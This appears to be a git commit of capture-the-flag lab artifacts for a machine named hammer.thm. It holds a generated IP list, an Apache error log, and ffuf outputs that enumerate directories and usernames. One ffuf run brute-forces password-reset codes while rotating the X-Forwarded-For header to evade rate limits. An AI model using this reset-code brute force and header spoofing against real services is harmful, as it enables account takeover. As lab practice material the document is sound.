initial commit

This commit is contained in:
curo committed 2025-12-04 09:57:17 +01:00
commit 0054cc02b1
4851 files changed
+4416257

No files matched your search

+1
View File
@@ -0,0 +1 @@
56058354efb3daa97ebab00fabd7a7d7
+1000
View File
@@ -0,0 +1,1000 @@
192.168.0.0
192.168.0.1
192.168.0.2
192.168.0.3
192.168.0.4
192.168.0.5
192.168.0.6
192.168.0.7
192.168.0.8
192.168.0.9
192.168.0.10
192.168.0.11
192.168.0.12
192.168.0.13
192.168.0.14
192.168.0.15
192.168.0.16
192.168.0.17
192.168.0.18
192.168.0.19
192.168.0.20
192.168.0.21
192.168.0.22
192.168.0.23
192.168.0.24
192.168.0.25
192.168.0.26
192.168.0.27
192.168.0.28
192.168.0.29
192.168.0.30
192.168.0.31
192.168.0.32
192.168.0.33
192.168.0.34
192.168.0.35
192.168.0.36
192.168.0.37
192.168.0.38
192.168.0.39
192.168.0.40
192.168.0.41
192.168.0.42
192.168.0.43
192.168.0.44
192.168.0.45
192.168.0.46
192.168.0.47
192.168.0.48
192.168.0.49
192.168.0.50
192.168.0.51
192.168.0.52
192.168.0.53
192.168.0.54
192.168.0.55
192.168.0.56
192.168.0.57
192.168.0.58
192.168.0.59
192.168.0.60
192.168.0.61
192.168.0.62
192.168.0.63
192.168.0.64
192.168.0.65
192.168.0.66
192.168.0.67
192.168.0.68
192.168.0.69
192.168.0.70
192.168.0.71
192.168.0.72
192.168.0.73
192.168.0.74
192.168.0.75
192.168.0.76
192.168.0.77
192.168.0.78
192.168.0.79
192.168.0.80
192.168.0.81
192.168.0.82
192.168.0.83
192.168.0.84
192.168.0.85
192.168.0.86
192.168.0.87
192.168.0.88
192.168.0.89
192.168.0.90
192.168.0.91
192.168.0.92
192.168.0.93
192.168.0.94
192.168.0.95
192.168.0.96
192.168.0.97
192.168.0.98
192.168.0.99
192.168.0.100
192.168.0.101
192.168.0.102
192.168.0.103
192.168.0.104
192.168.0.105
192.168.0.106
192.168.0.107
192.168.0.108
192.168.0.109
192.168.0.110
192.168.0.111
192.168.0.112
192.168.0.113
192.168.0.114
192.168.0.115
192.168.0.116
192.168.0.117
192.168.0.118
192.168.0.119
192.168.0.120
192.168.0.121
192.168.0.122
192.168.0.123
192.168.0.124
192.168.0.125
192.168.0.126
192.168.0.127
192.168.0.128
192.168.0.129
192.168.0.130
192.168.0.131
192.168.0.132
192.168.0.133
192.168.0.134
192.168.0.135
192.168.0.136
192.168.0.137
192.168.0.138
192.168.0.139
192.168.0.140
192.168.0.141
192.168.0.142
192.168.0.143
192.168.0.144
192.168.0.145
192.168.0.146
192.168.0.147
192.168.0.148
192.168.0.149
192.168.0.150
192.168.0.151
192.168.0.152
192.168.0.153
192.168.0.154
192.168.0.155
192.168.0.156
192.168.0.157
192.168.0.158
192.168.0.159
192.168.0.160
192.168.0.161
192.168.0.162
192.168.0.163
192.168.0.164
192.168.0.165
192.168.0.166
192.168.0.167
192.168.0.168
192.168.0.169
192.168.0.170
192.168.0.171
192.168.0.172
192.168.0.173
192.168.0.174
192.168.0.175
192.168.0.176
192.168.0.177
192.168.0.178
192.168.0.179
192.168.0.180
192.168.0.181
192.168.0.182
192.168.0.183
192.168.0.184
192.168.0.185
192.168.0.186
192.168.0.187
192.168.0.188
192.168.0.189
192.168.0.190
192.168.0.191
192.168.0.192
192.168.0.193
192.168.0.194
192.168.0.195
192.168.0.196
192.168.0.197
192.168.0.198
192.168.0.199
192.168.0.200
192.168.0.201
192.168.0.202
192.168.0.203
192.168.0.204
192.168.0.205
192.168.0.206
192.168.0.207
192.168.0.208
192.168.0.209
192.168.0.210
192.168.0.211
192.168.0.212
192.168.0.213
192.168.0.214
192.168.0.215
192.168.0.216
192.168.0.217
192.168.0.218
192.168.0.219
192.168.0.220
192.168.0.221
192.168.0.222
192.168.0.223
192.168.0.224
192.168.0.225
192.168.0.226
192.168.0.227
192.168.0.228
192.168.0.229
192.168.0.230
192.168.0.231
192.168.0.232
192.168.0.233
192.168.0.234
192.168.0.235
192.168.0.236
192.168.0.237
192.168.0.238
192.168.0.239
192.168.0.240
192.168.0.241
192.168.0.242
192.168.0.243
192.168.0.244
192.168.0.245
192.168.0.246
192.168.0.247
192.168.0.248
192.168.0.249
192.168.0.250
192.168.0.251
192.168.0.252
192.168.0.253
192.168.0.254
192.168.0.255
192.168.0.256
192.168.1.0
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7
192.168.1.8
192.168.1.9
192.168.1.10
192.168.1.11
192.168.1.12
192.168.1.13
192.168.1.14
192.168.1.15
192.168.1.16
192.168.1.17
192.168.1.18
192.168.1.19
192.168.1.20
192.168.1.21
192.168.1.22
192.168.1.23
192.168.1.24
192.168.1.25
192.168.1.26
192.168.1.27
192.168.1.28
192.168.1.29
192.168.1.30
192.168.1.31
192.168.1.32
192.168.1.33
192.168.1.34
192.168.1.35
192.168.1.36
192.168.1.37
192.168.1.38
192.168.1.39
192.168.1.40
192.168.1.41
192.168.1.42
192.168.1.43
192.168.1.44
192.168.1.45
192.168.1.46
192.168.1.47
192.168.1.48
192.168.1.49
192.168.1.50
192.168.1.51
192.168.1.52
192.168.1.53
192.168.1.54
192.168.1.55
192.168.1.56
192.168.1.57
192.168.1.58
192.168.1.59
192.168.1.60
192.168.1.61
192.168.1.62
192.168.1.63
192.168.1.64
192.168.1.65
192.168.1.66
192.168.1.67
192.168.1.68
192.168.1.69
192.168.1.70
192.168.1.71
192.168.1.72
192.168.1.73
192.168.1.74
192.168.1.75
192.168.1.76
192.168.1.77
192.168.1.78
192.168.1.79
192.168.1.80
192.168.1.81
192.168.1.82
192.168.1.83
192.168.1.84
192.168.1.85
192.168.1.86
192.168.1.87
192.168.1.88
192.168.1.89
192.168.1.90
192.168.1.91
192.168.1.92
192.168.1.93
192.168.1.94
192.168.1.95
192.168.1.96
192.168.1.97
192.168.1.98
192.168.1.99
192.168.1.100
192.168.1.101
192.168.1.102
192.168.1.103
192.168.1.104
192.168.1.105
192.168.1.106
192.168.1.107
192.168.1.108
192.168.1.109
192.168.1.110
192.168.1.111
192.168.1.112
192.168.1.113
192.168.1.114
192.168.1.115
192.168.1.116
192.168.1.117
192.168.1.118
192.168.1.119
192.168.1.120
192.168.1.121
192.168.1.122
192.168.1.123
192.168.1.124
192.168.1.125
192.168.1.126
192.168.1.127
192.168.1.128
192.168.1.129
192.168.1.130
192.168.1.131
192.168.1.132
192.168.1.133
192.168.1.134
192.168.1.135
192.168.1.136
192.168.1.137
192.168.1.138
192.168.1.139
192.168.1.140
192.168.1.141
192.168.1.142
192.168.1.143
192.168.1.144
192.168.1.145
192.168.1.146
192.168.1.147
192.168.1.148
192.168.1.149
192.168.1.150
192.168.1.151
192.168.1.152
192.168.1.153
192.168.1.154
192.168.1.155
192.168.1.156
192.168.1.157
192.168.1.158
192.168.1.159
192.168.1.160
192.168.1.161
192.168.1.162
192.168.1.163
192.168.1.164
192.168.1.165
192.168.1.166
192.168.1.167
192.168.1.168
192.168.1.169
192.168.1.170
192.168.1.171
192.168.1.172
192.168.1.173
192.168.1.174
192.168.1.175
192.168.1.176
192.168.1.177
192.168.1.178
192.168.1.179
192.168.1.180
192.168.1.181
192.168.1.182
192.168.1.183
192.168.1.184
192.168.1.185
192.168.1.186
192.168.1.187
192.168.1.188
192.168.1.189
192.168.1.190
192.168.1.191
192.168.1.192
192.168.1.193
192.168.1.194
192.168.1.195
192.168.1.196
192.168.1.197
192.168.1.198
192.168.1.199
192.168.1.200
192.168.1.201
192.168.1.202
192.168.1.203
192.168.1.204
192.168.1.205
192.168.1.206
192.168.1.207
192.168.1.208
192.168.1.209
192.168.1.210
192.168.1.211
192.168.1.212
192.168.1.213
192.168.1.214
192.168.1.215
192.168.1.216
192.168.1.217
192.168.1.218
192.168.1.219
192.168.1.220
192.168.1.221
192.168.1.222
192.168.1.223
192.168.1.224
192.168.1.225
192.168.1.226
192.168.1.227
192.168.1.228
192.168.1.229
192.168.1.230
192.168.1.231
192.168.1.232
192.168.1.233
192.168.1.234
192.168.1.235
192.168.1.236
192.168.1.237
192.168.1.238
192.168.1.239
192.168.1.240
192.168.1.241
192.168.1.242
192.168.1.243
192.168.1.244
192.168.1.245
192.168.1.246
192.168.1.247
192.168.1.248
192.168.1.249
192.168.1.250
192.168.1.251
192.168.1.252
192.168.1.253
192.168.1.254
192.168.1.255
192.168.1.256
192.168.2.0
192.168.2.1
192.168.2.2
192.168.2.3
192.168.2.4
192.168.2.5
192.168.2.6
192.168.2.7
192.168.2.8
192.168.2.9
192.168.2.10
192.168.2.11
192.168.2.12
192.168.2.13
192.168.2.14
192.168.2.15
192.168.2.16
192.168.2.17
192.168.2.18
192.168.2.19
192.168.2.20
192.168.2.21
192.168.2.22
192.168.2.23
192.168.2.24
192.168.2.25
192.168.2.26
192.168.2.27
192.168.2.28
192.168.2.29
192.168.2.30
192.168.2.31
192.168.2.32
192.168.2.33
192.168.2.34
192.168.2.35
192.168.2.36
192.168.2.37
192.168.2.38
192.168.2.39
192.168.2.40
192.168.2.41
192.168.2.42
192.168.2.43
192.168.2.44
192.168.2.45
192.168.2.46
192.168.2.47
192.168.2.48
192.168.2.49
192.168.2.50
192.168.2.51
192.168.2.52
192.168.2.53
192.168.2.54
192.168.2.55
192.168.2.56
192.168.2.57
192.168.2.58
192.168.2.59
192.168.2.60
192.168.2.61
192.168.2.62
192.168.2.63
192.168.2.64
192.168.2.65
192.168.2.66
192.168.2.67
192.168.2.68
192.168.2.69
192.168.2.70
192.168.2.71
192.168.2.72
192.168.2.73
192.168.2.74
192.168.2.75
192.168.2.76
192.168.2.77
192.168.2.78
192.168.2.79
192.168.2.80
192.168.2.81
192.168.2.82
192.168.2.83
192.168.2.84
192.168.2.85
192.168.2.86
192.168.2.87
192.168.2.88
192.168.2.89
192.168.2.90
192.168.2.91
192.168.2.92
192.168.2.93
192.168.2.94
192.168.2.95
192.168.2.96
192.168.2.97
192.168.2.98
192.168.2.99
192.168.2.100
192.168.2.101
192.168.2.102
192.168.2.103
192.168.2.104
192.168.2.105
192.168.2.106
192.168.2.107
192.168.2.108
192.168.2.109
192.168.2.110
192.168.2.111
192.168.2.112
192.168.2.113
192.168.2.114
192.168.2.115
192.168.2.116
192.168.2.117
192.168.2.118
192.168.2.119
192.168.2.120
192.168.2.121
192.168.2.122
192.168.2.123
192.168.2.124
192.168.2.125
192.168.2.126
192.168.2.127
192.168.2.128
192.168.2.129
192.168.2.130
192.168.2.131
192.168.2.132
192.168.2.133
192.168.2.134
192.168.2.135
192.168.2.136
192.168.2.137
192.168.2.138
192.168.2.139
192.168.2.140
192.168.2.141
192.168.2.142
192.168.2.143
192.168.2.144
192.168.2.145
192.168.2.146
192.168.2.147
192.168.2.148
192.168.2.149
192.168.2.150
192.168.2.151
192.168.2.152
192.168.2.153
192.168.2.154
192.168.2.155
192.168.2.156
192.168.2.157
192.168.2.158
192.168.2.159
192.168.2.160
192.168.2.161
192.168.2.162
192.168.2.163
192.168.2.164
192.168.2.165
192.168.2.166
192.168.2.167
192.168.2.168
192.168.2.169
192.168.2.170
192.168.2.171
192.168.2.172
192.168.2.173
192.168.2.174
192.168.2.175
192.168.2.176
192.168.2.177
192.168.2.178
192.168.2.179
192.168.2.180
192.168.2.181
192.168.2.182
192.168.2.183
192.168.2.184
192.168.2.185
192.168.2.186
192.168.2.187
192.168.2.188
192.168.2.189
192.168.2.190
192.168.2.191
192.168.2.192
192.168.2.193
192.168.2.194
192.168.2.195
192.168.2.196
192.168.2.197
192.168.2.198
192.168.2.199
192.168.2.200
192.168.2.201
192.168.2.202
192.168.2.203
192.168.2.204
192.168.2.205
192.168.2.206
192.168.2.207
192.168.2.208
192.168.2.209
192.168.2.210
192.168.2.211
192.168.2.212
192.168.2.213
192.168.2.214
192.168.2.215
192.168.2.216
192.168.2.217
192.168.2.218
192.168.2.219
192.168.2.220
192.168.2.221
192.168.2.222
192.168.2.223
192.168.2.224
192.168.2.225
192.168.2.226
192.168.2.227
192.168.2.228
192.168.2.229
192.168.2.230
192.168.2.231
192.168.2.232
192.168.2.233
192.168.2.234
192.168.2.235
192.168.2.236
192.168.2.237
192.168.2.238
192.168.2.239
192.168.2.240
192.168.2.241
192.168.2.242
192.168.2.243
192.168.2.244
192.168.2.245
192.168.2.246
192.168.2.247
192.168.2.248
192.168.2.249
192.168.2.250
192.168.2.251
192.168.2.252
192.168.2.253
192.168.2.254
192.168.2.255
192.168.2.256
192.168.3.0
192.168.3.1
192.168.3.2
192.168.3.3
192.168.3.4
192.168.3.5
192.168.3.6
192.168.3.7
192.168.3.8
192.168.3.9
192.168.3.10
192.168.3.11
192.168.3.12
192.168.3.13
192.168.3.14
192.168.3.15
192.168.3.16
192.168.3.17
192.168.3.18
192.168.3.19
192.168.3.20
192.168.3.21
192.168.3.22
192.168.3.23
192.168.3.24
192.168.3.25
192.168.3.26
192.168.3.27
192.168.3.28
192.168.3.29
192.168.3.30
192.168.3.31
192.168.3.32
192.168.3.33
192.168.3.34
192.168.3.35
192.168.3.36
192.168.3.37
192.168.3.38
192.168.3.39
192.168.3.40
192.168.3.41
192.168.3.42
192.168.3.43
192.168.3.44
192.168.3.45
192.168.3.46
192.168.3.47
192.168.3.48
192.168.3.49
192.168.3.50
192.168.3.51
192.168.3.52
192.168.3.53
192.168.3.54
192.168.3.55
192.168.3.56
192.168.3.57
192.168.3.58
192.168.3.59
192.168.3.60
192.168.3.61
192.168.3.62
192.168.3.63
192.168.3.64
192.168.3.65
192.168.3.66
192.168.3.67
192.168.3.68
192.168.3.69
192.168.3.70
192.168.3.71
192.168.3.72
192.168.3.73
192.168.3.74
192.168.3.75
192.168.3.76
192.168.3.77
192.168.3.78
192.168.3.79
192.168.3.80
192.168.3.81
192.168.3.82
192.168.3.83
192.168.3.84
192.168.3.85
192.168.3.86
192.168.3.87
192.168.3.88
192.168.3.89
192.168.3.90
192.168.3.91
192.168.3.92
192.168.3.93
192.168.3.94
192.168.3.95
192.168.3.96
192.168.3.97
192.168.3.98
192.168.3.99
192.168.3.100
192.168.3.101
192.168.3.102
192.168.3.103
192.168.3.104
192.168.3.105
192.168.3.106
192.168.3.107
192.168.3.108
192.168.3.109
192.168.3.110
192.168.3.111
192.168.3.112
192.168.3.113
192.168.3.114
192.168.3.115
192.168.3.116
192.168.3.117
192.168.3.118
192.168.3.119
192.168.3.120
192.168.3.121
192.168.3.122
192.168.3.123
192.168.3.124
192.168.3.125
192.168.3.126
192.168.3.127
192.168.3.128
192.168.3.129
192.168.3.130
192.168.3.131
192.168.3.132
192.168.3.133
192.168.3.134
192.168.3.135
192.168.3.136
192.168.3.137
192.168.3.138
192.168.3.139
192.168.3.140
192.168.3.141
192.168.3.142
192.168.3.143
192.168.3.144
192.168.3.145
192.168.3.146
192.168.3.147
192.168.3.148
192.168.3.149
192.168.3.150
192.168.3.151
192.168.3.152
192.168.3.153
192.168.3.154
192.168.3.155
192.168.3.156
192.168.3.157
192.168.3.158
192.168.3.159
192.168.3.160
192.168.3.161
192.168.3.162
192.168.3.163
192.168.3.164
192.168.3.165
192.168.3.166
192.168.3.167
192.168.3.168
192.168.3.169
192.168.3.170
192.168.3.171
192.168.3.172
192.168.3.173
192.168.3.174
192.168.3.175
192.168.3.176
192.168.3.177
192.168.3.178
192.168.3.179
192.168.3.180
192.168.3.181
192.168.3.182
192.168.3.183
192.168.3.184
192.168.3.185
192.168.3.186
192.168.3.187
192.168.3.188
192.168.3.189
192.168.3.190
192.168.3.191
192.168.3.192
192.168.3.193
192.168.3.194
192.168.3.195
192.168.3.196
192.168.3.197
192.168.3.198
192.168.3.199
192.168.3.200
192.168.3.201
192.168.3.202
192.168.3.203
192.168.3.204
192.168.3.205
192.168.3.206
192.168.3.207
192.168.3.208
192.168.3.209
192.168.3.210
192.168.3.211
192.168.3.212
192.168.3.213
192.168.3.214
192.168.3.215
192.168.3.216
192.168.3.217
192.168.3.218
192.168.3.219
192.168.3.220
192.168.3.221
192.168.3.222
192.168.3.223
192.168.3.224
192.168.3.225
192.168.3.226
192.168.3.227
192.168.3.228
+9
View File
@@ -0,0 +1,9 @@
[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
[Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
[Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
[Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
[Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
[Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down
View File
Whitespace-only changes.
+1
View File
@@ -0,0 +1 @@
{"commandline":"ffuf -u http://hammer.thm:1337/hmr_FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o ffuf_dir_scan1.txt","time":"2025-10-23T16:34:23+02:00","results":[{"input":{"FFUFHASH":"aeb1810","FUZZ":"images"},"position":16,"status":301,"length":320,"words":20,"lines":10,"content-type":"text/html; charset=iso-8859-1","redirectlocation":"http://hammer.thm:1337/hmr_images/","scraper":{},"duration":2872600688,"resultfile":"","url":"http://hammer.thm:1337/hmr_images","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"aeb18225","FUZZ":"css"},"position":549,"status":301,"length":317,"words":20,"lines":10,"content-type":"text/html; charset=iso-8859-1","redirectlocation":"http://hammer.thm:1337/hmr_css/","scraper":{},"duration":79097324,"resultfile":"","url":"http://hammer.thm:1337/hmr_css","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"aeb183ba","FUZZ":"js"},"position":954,"status":301,"length":316,"words":20,"lines":10,"content-type":"text/html; charset=iso-8859-1","redirectlocation":"http://hammer.thm:1337/hmr_js/","scraper":{},"duration":127030112,"resultfile":"","url":"http://hammer.thm:1337/hmr_js","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"aeb188c9","FUZZ":"logs"},"position":2249,"status":301,"length":318,"words":20,"lines":10,"content-type":"text/html; charset=iso-8859-1","redirectlocation":"http://hammer.thm:1337/hmr_logs/","scraper":{},"duration":177266148,"resultfile":"","url":"http://hammer.thm:1337/hmr_logs","host":"hammer.thm:1337"}],"config":{"autocalibration":false,"autocalibration_keyword":"FUZZ","autocalibration_perhost":false,"autocalibration_strategies":["basic"],"autocalibration_strings":[],"colors":false,"cmdline":"ffuf -u http://hammer.thm:1337/hmr_FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o ffuf_dir_scan1.txt","configfile":"","postdata":"","debuglog":"","delay":{"value":"0.00"},"dirsearch_compatibility":false,"encoders":[],"extensions":[],"fmode":"or","follow_redirects":false,"headers":{},"ignorebody":false,"ignore_wordlist_comments":false,"inputmode":"clusterbomb","cmd_inputnum":100,"inputproviders":[{"name":"wordlist","keyword":"FUZZ","value":"/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt","encoders":"","template":""}],"inputshell":"","json":false,"matchers":{"IsCalibrated":false,"Mutex":{},"Matchers":{"status":{"value":"200-299,301,302,307,401,403,405,500"}},"Filters":{},"PerDomainFilters":{}},"mmode":"or","maxtime":0,"maxtime_job":0,"method":"GET","noninteractive":false,"outputdirectory":"","outputfile":"ffuf_dir_scan1.txt","outputformat":"json","OutputSkipEmptyFile":false,"proxyurl":"","quiet":false,"rate":0,"raw":false,"recursion":false,"recursion_depth":0,"recursion_strategy":"default","replayproxyurl":"","requestfile":"","requestproto":"https","scraperfile":"","scrapers":"all","sni":"","stop_403":false,"stop_all":false,"stop_errors":false,"threads":40,"timeout":10,"url":"http://hammer.thm:1337/hmr_FUZZ","verbose":false,"wordlists":["/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt"],"http2":false,"client-cert":"","client-key":""}}
+1
View File
@@ -0,0 +1 @@
{"commandline":"ffuf -w numbers_list.txt:W1 -w cut_ip_list.txt:W2 -u http://hammer.thm:1337/reset_password.php -X POST -d recovery_code=W1\u0026s=80 -b PHPSESSID=cimsiugetu6m5gk3s6ou5hjqcr -H X-Forwarded-For: W2 -H Content-Type: application/x-www-form-urlencoded -fr Invalid -rate 100 -o ffuf_numbers.txt -mode pitchfork","time":"2025-10-23T20:39:48+02:00","results":[{"input":{"FFUFHASH":"30ee24","W1":"0003","W2":"192.168.0.3"},"position":4,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":73322937,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee21","W1":"0000","W2":"192.168.0.0"},"position":1,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":76500059,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee22","W1":"0001","W2":"192.168.0.1"},"position":2,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":76543144,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee26","W1":"0005","W2":"192.168.0.5"},"position":6,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":73395440,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee23","W1":"0002","W2":"192.168.0.2"},"position":3,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":73645282,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee25","W1":"0004","W2":"192.168.0.4"},"position":5,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":73736619,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee28","W1":"0007","W2":"192.168.0.7"},"position":8,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":58856671,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee27","W1":"0006","W2":"192.168.0.6"},"position":7,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":58929423,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee2f","W1":"0014","W2":"192.168.0.14"},"position":15,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":82876799,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee217","W1":"0022","W2":"192.168.0.22"},"position":23,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":76934696,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee213","W1":"0018","W2":"192.168.0.18"},"position":19,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":85287599,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee214","W1":"0019","W2":"192.168.0.19"},"position":20,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocation":"reset_password.php?error=Time elapsed. Please try again later.","scraper":{},"duration":86796324,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"30ee215","W1":"0020","W2":"192.168.0.20"},"position":21,"status":302,"length":0,"words":1,"lines":1,"content-type":"text/html; charset=UTF-8","redirectlocatioLine truncated
+1
View File
@@ -0,0 +1 @@
{"commandline":"ffuf -u http://hammer.thm:1337/reset_password.php -X POST -d email=FUZZ@hammer.thm -w /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -o ffuf_scan1.txt","time":"2025-10-23T16:29:15+02:00","results":[{"input":{"FFUFHASH":"6adf410","FUZZ":"vagrant"},"position":16,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":210220130,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf47","FUZZ":"mysql"},"position":7,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":212422922,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf48","FUZZ":"user"},"position":8,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":212491130,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf4b","FUZZ":"ftp"},"position":11,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":182499344,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf4f","FUZZ":"ec2-user"},"position":15,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":182419968,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf4c","FUZZ":"pi"},"position":12,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":182559885,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf4d","FUZZ":"puppet"},"position":13,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":182622302,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf49","FUZZ":"administrator"},"position":9,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":196762133,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf42","FUZZ":"admin"},"position":2,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":182620218,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf4a","FUZZ":"oracle"},"position":10,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":182655385,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf43","FUZZ":"test"},"position":3,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; charset=UTF-8","redirectlocation":"","scraper":{},"duration":1145031928,"resultfile":"","url":"http://hammer.thm:1337/reset_password.php","host":"hammer.thm:1337"},{"input":{"FFUFHASH":"6adf41","FUZZ":"root"},"position":1,"status":200,"length":1664,"words":484,"lines":48,"content-type":"text/html; 